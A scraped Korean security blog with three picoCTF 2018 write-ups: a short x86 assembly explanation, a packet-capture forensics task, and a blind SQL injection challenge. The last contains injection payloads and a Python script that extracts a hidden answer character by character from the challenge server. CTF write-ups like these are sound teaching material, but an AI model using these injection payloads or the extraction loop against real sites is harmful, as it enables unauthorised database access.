이 문제는 어셈블리어를 얼마나 이해를 하느냐를 묻는 문제이다.


intel_syntax noprefix

.bits 32

.global asm0

asm0:

push ebp

mov ebp,esp

mov eax,DWORD PTR [ebp+0x8]

mov ebx,DWORD PTR [ebp+0xc]

mov eax,ebx

mov esp,ebp

pop ebp

ret


ebp + 0x8 = argv[1]

ebp + 0xc = argv[2]


mov eax, ebx로 ebx 값을 eax에 넣는것을 볼 수 있다.


eax는 리턴값이다.

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] admin panel  (0) 2018.10.18
[picoCTF] A Simple Question  (31) 2018.10.18
[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27


이 문제는 포렌식 문제로서 패킷을 분석하는 문제이다.

허나 문제에서 트래픽을 캡쳐했고 어드민 패널에 로그인을 한 패킷이라고 한다.

그렇다면 http 프로토콜로 찾으면 쉽게 필터를 할 수 있을 것이라 추측하였다.


수 많은 패킷 중에서 유일하게 통신하는 것들만 남았다.


POST 메소드로 login에 패킷을 쏜것을 발견할 수 있다.





플래그를 얻을 수 있었다.


'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] assembly-0  (31) 2018.10.18
[picoCTF] A Simple Question  (31) 2018.10.18
[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27

이 문제는 blind injection 기법으로 answer의 값을 가져와 인증을 하면 되는 문제이다.


먼저 길이는 아래의 쿼리로 가져올 수 있다.


a' or length(answer)=5 -- -


코드를 작성하여 편하게 가져왔다.



import requests

import json

length = 0

url = 'http://2018shell3.picoctf.com:2644/answer2.php';

headers = {'User-Agent': 'Mozilla/5.0'}

for i in range(1, 50):

param = {'answer' : "a' or length(answer)=" + str(i) + " -- -", 'debug':0}

rs = requests.post(url, data=param ,headers=headers)

text = rs.text

print(str(i) + "start")

if("You are so close." in text):

length = i

break

print("find length=" + str(length))



그 후 answer의 값을 가져오는 방법은 아래의 쿼리로 가져올 수 있다.


 a' or length(answer)=14 and Unicode(substr(answer, 1, 1))=41 -- -


이 역시 편하게 코드를 작성하여 처리했다.

exploit.py 


import requests

import json

length = 0

url = 'http://2018shell3.picoctf.com:2644/answer2.php';

headers = {'User-Agent': 'Mozilla/5.0'}

for i in range(1, 50):

param = {'answer' : "a' or length(answer)=" + str(i) + " -- -", 'debug':0}

rs = requests.post(url, data=param ,headers=headers)

text = rs.text

print(str(i) + "start")

if("You are so close." in text):

length = i

break

print("find length=" + str(length))


flag = ""

for i in range(1, length+1):

print("start " + str(i))

for c in range(48,125):

param = {'answer' : "a' or length(answer)=14 and unicode(substr(answer," + str(i) + ",1))=" + str(c) + " -- - ", 'debug': 0}

rs = requests.post(url, data=param, headers=headers)

text = rs.text

if("Wrong." in text):

continue

else:

print("find " + chr(c))

flag += chr(c)

break

print(flag)

'0x20 Security > 0x25 Write-Ups' 카테고리의 다른 글

[picoCTF] assembly-0  (31) 2018.10.18
[picoCTF] admin panel  (0) 2018.10.18
[LOS1] umaru  (0) 2018.09.27
[LOS1] black_eyes  (0) 2018.09.27
[LOS1] iron_golem  (0) 2018.09.27

+ Recent posts